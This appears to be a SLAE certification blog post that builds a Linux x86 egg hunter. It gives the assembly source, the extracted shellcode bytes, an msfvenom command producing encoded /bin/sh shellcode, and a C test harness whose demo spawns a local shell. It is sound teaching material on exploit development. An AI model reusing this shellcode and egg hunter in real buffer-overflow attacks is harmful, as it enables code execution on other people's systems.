SLAE x86 Assignment 3: Egg Hunter
Egg Hunter
- Learn about the Egg Hunter technique
- Create a working demo of the Egg Hunter
- Should be easily configurable for different payloads
Concept
Egg hunting is the technique whereby an Egg Hunter is used to hunt for the actual payload to be executed, which in this case is marked or tagged by an Egg.
The technique is used to avoid the limitation of consecutive memory locations available to insert the payload after an overwrite (typically seen in a Stack-based Buffer Overflow). Once the Egg Hunter is executed it searches for the Egg which is prefixed with the larger payload - effectively triggering the execution of the payload.
Caveats to an Egg Hunter:
- Must avoid locating itself in memory and jumping to the incorrect address
- Must be robust
- Must be small in size
- Must be fast
A 4 byte Egg can be used and repeated twice to mark the payload, the Virtual Address Space (VAS) is searched for these two consecutive tags and redirects execution flow once the pattern is matched.
The popular paper by Skape was referenced to better understand the implementation of the Egg Hunter, the link to the research can be found here.
In summary, the following steps will be implemented:
- Define Egg Hunter
- Set Egg value
- Generate and extract shellcode from Egg Hunter
- Generate customized shellcode
- Prepend Egg value to the customized shellcode
- Generate final Egg Hunter shellcode
Access Syscall
A look up in the header file reveals the values for the access syscall:
osboxes@osboxes:~/Downloads/SLAE$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33
The definition of the access syscall function in the man pages describes the arguments required:
osboxes@osboxes:~/Downloads/SLAE$ man access
ACCESS(2) Linux Programmer's Manual ACCESS(2)
NAME
access - check real user's permissions for a file
SYNOPSIS
#include <unistd.h>
int access(const char *pathname, int mode);
DESCRIPTION
access() checks whether the calling process can access the file pathname. If pathname is a symbolic
link, it is dereferenced.
The mode specifies the accessibility check(s) to be performed, and is either the value F_OK, or a mask
consisting of the bitwise OR of one or more of R_OK, W_OK, and X_OK. F_OK tests for the existence of
the file. R_OK, W_OK, and X_OK test whether the file exists and grants read, write, and execute per-
missions, respectively.
The check is done using the calling process's real UID and GID, rather than the effective IDs as is
done when actually attempting an operation (e.g., open(2)) on the file. This allows set-user-ID pro-
grams to easily determine the invoking user's authority.
If the calling process is privileged (i.e., its real UID is zero), then an X_OK check is successful for
a regular file if execute permission is enabled for any of the file owner, group, or other.
RETURN VALUE
On success (all requested permissions granted), zero is returned. On error (at least one bit in mode
asked for a permission that is denied, or some other error occurred), -1 is returned, and errno is set
appropriately.
ERRORS
access() shall fail if:
EACCES The requested access would be denied to the file, or search permission is denied for one of the
directories in the path prefix of pathname. (See also path_resolution(7).)
ELOOP Too many symbolic links were encountered in resolving pathname.
ENAMETOOLONG
pathname is too long.
ENOENT A component of pathname does not exist or is a dangling symbolic link.
ENOTDIR
A component used as a directory in pathname is not, in fact, a directory.
EROFS Write permission was requested for a file on a read-only file system.
access() may fail if:
EFAULT pathname points outside your accessible address space.
Note is made of the fact that EFAULT (0xf2) should be avoided, as the error states the pathname would point outside the accessible address space.
Assembly Code (Updating the Skape code reference)
; Filename: egghunter.nasm
; Author: h3ll0clar1c3
; Purpose: Egghunter, spawning a shell on the local host
; Compilation: ./compile.sh egghunter
; Usage: ./egghunter
; Shellcode size: 113 bytes
; Architecture: x86
global _start
section .text
_start:
; initialize register
xor edx, edx
next_page:
or dx, 0xfff ; set dx to 4095
next_address:
inc edx ; incdx to 4096 (PAGE_SIZE)
lea ebx, [edx +0x4] ; load 0x1004 into ebx
push byte +0x21 ; 0x21 is dec 33 (access syscall)
pop eax ; put the syscall value into eax
int 0x80 ; call the interrupt, execute the syscall
cmp al, 0xf2 ; check if return value is EFAULT (0xf2)
jz next_page ; if EFAULT is encountered, jump back to next_page
mov eax, 0x50905090 ; move unique egg value into eax
mov edi, edx
; search for the egg
scasd ; search for first 4 byte pattern of the egg
jnz next_address
; search again for 2nd copy of the egg
scasd ; search for second 4 byte pattern of the egg
jnz next_address
jmp edi ; jump to egg payload
The Assembly code is compiled by assembling with Nasm, and linking with the following bash script whilst outputting an executable binary:
osboxes@osboxes:~/Downloads/SLAE$ cat compile.sh
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
The Assembly code compiled as an executable binary:
osboxes@osboxes:~/Downloads/SLAE$ ./compile.sh egghunter
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Customize Shellcode (Different payloads)
Objdump is used to extract the shellcode from the Egg Hunter in hex format (Null free):
osboxes@osboxes:~/Downloads/SLAE$ objdump -d ./egghunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
Msfvenom is used to generate a payload that will be used along with the Egg Hunter in a C program. The payload will spawn a shell on the local host along with checking for Null bytes in the process.
osboxes@osboxes:~/Downloads/SLAE$ msfvenom -p linux/x86/exec CMD=/bin/sh -f c --arch x86 --platform linux -b \x00
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of c file: 319 bytes
unsigned char buf[] =
"\xbd\xea\xfb\x87\x4a\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x0b\x31\x6a\x15\x03\x6a\x15\x83\xea\xfc\xe2\x1f\x91\x8c\x12"
"\x46\x34\xf5\xca\x55\xda\x70\xed\xcd\x33\xf0\x9a\x0d\x24\xd9"
"\x38\x64\xda\xac\x5e\x24\xca\xa7\xa0\xc8\x0a\x97\xc2\xa1\x64"
"\xc8\x71\x59\x79\x41\x25\x10\x98\xa0\x49";
The Egg is prepended twice to this newly generated payload, the tagged Egg would precede the payload with the value “\x90\x50\x90\x50\x90\x50\x90\x50”.
Egg Hunter in C
The following C code will be used to demonstrate the Egg Hunter from a high-level language perspective.
/**
* Filename: shellcode.c
* Author: h3ll0clar1c3
* Purpose: Egghunter, spawning a shell on the local host
* Compilation: gcc -fno-stack-protector -z execstack -m32 shellcode.c -o egghunter_final
* Usage: ./egghunter_final
* Shellcode size: 113 bytes
* Architecture: x86
**/
#include <stdio.h>
#include <string.h>
unsigned char hunter[] = \
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee" // objdump -d
"\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
unsigned char egg[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50" // tagged egg
"\xbd\xea\xfb\x87\x4a\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" // msfvenom payload
"\x0b\x31\x6a\x15\x03\x6a\x15\x83\xea\xfc\xe2\x1f\x91\x8c\x12"
"\x46\x34\xf5\xca\x55\xda\x70\xed\xcd\x33\xf0\x9a\x0d\x24\xd9"
"\x38\x64\xda\xac\x5e\x24\xca\xa7\xa0\xc8\x0a\x97\xc2\xa1\x64"
"\xc8\x71\x59\x79\x41\x25\x10\x98\xa0\x49";
int main()
{
printf("Hunter length: %d bytes\n", strlen(hunter));
printf("Egg length: %d bytes\nHunting the egg ...\n", strlen(egg));
int (*ret)() = (int(*)())hunter;
ret();
}
POC (C Code)
The C code is compiled as an executable ELF binary and executed:
osboxes@osboxes:~/Downloads/SLAE$ gcc -fno-stack-protector -z execstack -m32 shellcode.c -o egghunter_final
osboxes@osboxes:~/Downloads/SLAE$ ./egghunter_final
Hunter length: 35 bytes
Egg length: 78 bytes
Hunting the egg ...
$ id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$
SLAE Disclaimer
This blog post has been created for completing the requirements of the SLAE certification.
Student ID: PA-14936
GitHub Repo: Code